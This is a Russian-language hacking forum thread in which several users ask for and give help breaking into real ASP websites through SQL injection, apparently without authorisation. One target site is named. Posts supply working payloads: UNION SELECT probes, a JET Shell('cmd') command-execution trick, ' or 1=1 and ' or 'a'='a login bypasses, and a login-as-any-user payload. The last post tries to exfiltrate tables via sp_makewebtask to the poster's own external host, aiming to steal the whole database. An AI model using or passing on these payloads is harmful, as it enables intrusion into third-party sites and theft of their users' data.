Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
SQL injection
 
Подскажите плиз.
Проверял сайт на SQL injection и на запросы http://primer/index.asp?id=10’ UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—выдал такое сообщение

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] Could not find file 'C:\WINNT\system32\INFORMATION_SCHEMA.mdb'.

вроде INFORMATION_SCHEMA.TABLES должна существовать обязательно. (Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.)
Как в этом случае можно узнать имя таблицы используемое этим сайтом?
 
Хе. Похоже что используется Access, а в нем нет таблицы INFORMATION_SCHEMA.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
 
Ну может кто подскажет что можно придумать?
 
А хрен знает. Я вообще не понимаю как UNION мог пройти, Access его не поддерживает.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
 
Мда, то же верно:). А как можно узнать имя базы данных, если это акцесс?
 
попробуй включить в конструкцию запроса '|shell("cmd")|'
или просто Shell("cmd");
например:
SELECT  * FROM products WHERE productid=Shell("net send * u are oWnEd ",0);

(канает вроде только на движке JET <=3.5)
на 4.0 не получалось.
 
Цитата
g00dy пишет:
попробуй включить в конструкцию запроса '|shell("cmd")|'
или просто Shell("cmd");
например:
SELECT  * FROM products WHERE productid=Shell("net send * u are oWnEd ",0);

(канает вроде только на движке JET <=3.5)
на 4.0 не получалось.
Ни чего не прокатило, примерно на такой запрос http://primer/index.asp?10' union SELECT * FROM TABLE_NAME WHERE number='|shell("cmd")|'
выдал следующее
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'number='|shell("cmd")|'''.
Ставил двойные кавычки, пробывал разнае варианты ни чего не помогло:(
 
Народ, я вообще asp плохо знаю, поэтому подскажите какой символ нужно поставить чтобы следующий за ним символ остался таким каким есть, например как в php: \" и каквычки остануться, т.к следуют за косой чертой.
 
Цитата
Pig killer пишет:
А хрен знает. Я вообще не понимаю как UNION мог пройти, Access его не поддерживает.
Разве? Я не большой знаток баз данных, но вроде делал union в аксесе.
 
Решил прояснить ситуацию, вот что я смог узнать:
Есть сайт, на нем есть страница login.html, на этой странице два поля «логин» и «пароль», когда вводишь данные то вызывается файл login.asp, в нем происходит поиск «логина» в базе данных, если такой логин найдет, то из БД считывается пароль и сверяется с введенным и если все ок, доступ разрешен. Дело в том что введенная пользователем инфа не проверяется, поэтому в поле «логин» можно подставить SQL код, но все что здесь было описано не прокатило:(.
Есть еще одно, «форма напоминания пароля». В ней два поля «логин» «мыло». Когда пользователь отправляет данные, то происходит поиск по БД «логина», если такой найден, начинается сравнивать «мыло», если и оно совпадает, то пароль высылается на мыло.
И еще одно. Форма «изменение данных». В ней можно поменять только «мыло» и «пароль». Но тут уже ни чего не ищут  по БД, здесь просто, если «старый» пароль пользователь указал верно, то то что написано в поле «мыло» записывается в БД при этом не идет проверка что ввел пользователь. Но потом, если загрузить эту страницу снова, все что было записано в БД, без изменений отображается на экране.

Сайт написан на asp + Access. Версии не знаю, не смотрел.

Подскажите, что можно сделать, а то что-то не верится, что имея такую «дыру» нельзя ни чего сделать.
p.s. кстати, в поле "логин" прокатила и "' or 'a'='a", на это сайт выдал "не правильный пароль", хотя пароль я вообще не вводил, т.е. самая настаящая SQL injection.
 
можно попробовать побаловатся с изменением логики SQL запроса в полях login и passwd..
или с угадыванием полей базы..
попробуй еще можешь ли ты завершить один запрос и добавить второй (e.g: ' or 1=1;select 1; )
вообщем процесс творческий, нет единых рекомендаций )
 
Схожая ситуация, ненаходит INFORMATION_SCHEMA ,
на запрос типа:
" or "1"="1";select "1
говорит:
DAO.Database error '800a0c46'
Characters found after end of SQL statement.

в форме 2 стоки ввода, логин и пасс,
такой запрос я так понимаю надо вписывать в последнюю строку, но вписаное в поле пасс не возращает результат...

Может всё таки можно как то узнать какая таблица используется вместо INFORMATION_SCHEMA ?
 
У меня ситуация тоже интересная..
На запрос:
http://www.xxx.com/product.asp?dept_id=97"%20or%20"1"="1";select%20"1&sku=ESP901&s=home
выдает:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' or '.
/product.asp, line 26
А на запрос:
http://www.xxx.com/product.asp?dept_id='sp_tables'&sku=ESP901&s=home
Возвращает:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Disallowed implicit conversion from datatype 'varchar' to datatype 'int' Table: 'Commerce.dbo.bbeuro_dept', Column: 'dept_id' Use the CONVERT function to run this query.
/product.asp, line 26
Ну а на запрос:
http://www.xxx.com/product.asp?dept_id="63"; exec master..sp_tables--&sku=C5UMBCBG3M
Выдает:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]sp_cursoropen: The statement parameter can only be a single select or a single stored procedure
/product.asp, line 26

Может кто-нибудь из знающих может что-нить подсказать?
 
А первом слечае неправильный запрос после or - зачем ты ставил "1"="1"? правильно 1=1 без всяких кавычек.

Во втором случае ты в поле, где ожидается параметр типа int, ставишь параметр типа 'varchar'. Вот он и говорит, что так делать нельзя.
Хочешь быть мудрым? Не желай всего, что видишь; не верь всему, что слышишь; не говори всего, что знаешь; не делай всего, что умеешь, а только то, что полезно.
 
Цитата
Hornet пишет:
Может кто-нибудь из знающих может что-нить подсказать?

Забей ты на http://www.bb-europe.com/
 
а в самом деле, нофега ЭТО ломать? ниилитна. ты микрософт взломай
 
Хочу добавить кое что к теме.
Может кому то покажется простой вопрос, но всетаки:

Я нашел сайт уязвимый для SQL injection, далее делаю все как описано в http://www.securitylab.ru/?ID=31623.

На запрос вида http://xxx.xx/LoginUser?USER=hi'%20or%201=1--
выдает мол пользователь опознан и все. Тоесть никакой нужной инфы, выдает либо пользователь опознан, либо говорит что нет такого, никаких сообщений типа

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
..............
/index.asp, line 5

Все это тоже неплохо если учесть что можно логиниться под любым существующим пользователем  http://xxx.xx/LoginUser?USER=<any login>';%20--

Пытался слить базу как написано... мож я, что нитак делал...
вставил в запрос:
'; EXEC master..sp_makewebtask "\\myfeehost.ru\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
заливал на сервак своего сайта, share - chmod 777, по какому протоколу вообще передается файл output.html? Я так понял что HTTP...   Вобщем ничего у меня не вышло.

НО все-же есть ли способ спереть всю базу? На сервере http://xxx.xx - открыт только 80 порт.
Может кто найдет время и проштудирует меня в этом вопросе. icq 2767779
Страницы: 1
Читают тему